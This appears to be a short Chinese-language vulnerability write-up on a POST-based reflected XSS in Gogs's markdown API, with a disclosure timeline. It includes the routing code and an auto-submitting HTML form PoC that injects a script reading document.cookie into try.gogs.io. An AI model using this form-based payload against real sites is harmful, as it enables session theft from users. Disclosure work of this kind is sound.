Gogs post 反射型 Xss


通过form利用gogs的post型反射型xss

审计

在审计gogs代码时发现gogs的api允许渲染markdown.最初以为是无法利用的,但发现gogs这个api返回的content-type是html,并且没有csrf机制.

1
2
3
4
5
6
7
m.Group("/v1", func() {
	// Handle preflight OPTIONS request
	m.Options("/*", func() {})

	// Miscellaneous
	m.Post("/markdown", bind(api.MarkdownOption{}), misc2.Markdown)
	m.Post("/markdown/raw", misc2.MarkdownRaw)

但这个api仅仅允许post方法,不能通过常见的get方法来进行xss.

构造poc

无法直接通过url 提交一个post请求,但可以通过form元素进行提交并直接重定向.

最简单的提交例子

1
2
3
4
5
6
<form name=Form action=url method=post>
 <input type=hidden name=xxx value=xxx>
</form>
<script>
 document.Form.submit();
</script>

这和csrf都是通过伪造请求来利用 只是csrf是通过xhr请求 这是通过form来得到需要的重定向.

最后的poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 <html> 

<body onload="document.forms[0].submit()"> 

<form method="post"
   action="http://try.gogs.io/api/v1/markdown"> 

   

<input type="hidden" name="text"
   value="<script>alert(document.cookie)</script>"> 

</form> 

</html> 

漏洞时间线

1
2
3
1.25 发送提交漏洞邮件
1.25 一小时后得到第一次回应
1.27 漏洞修复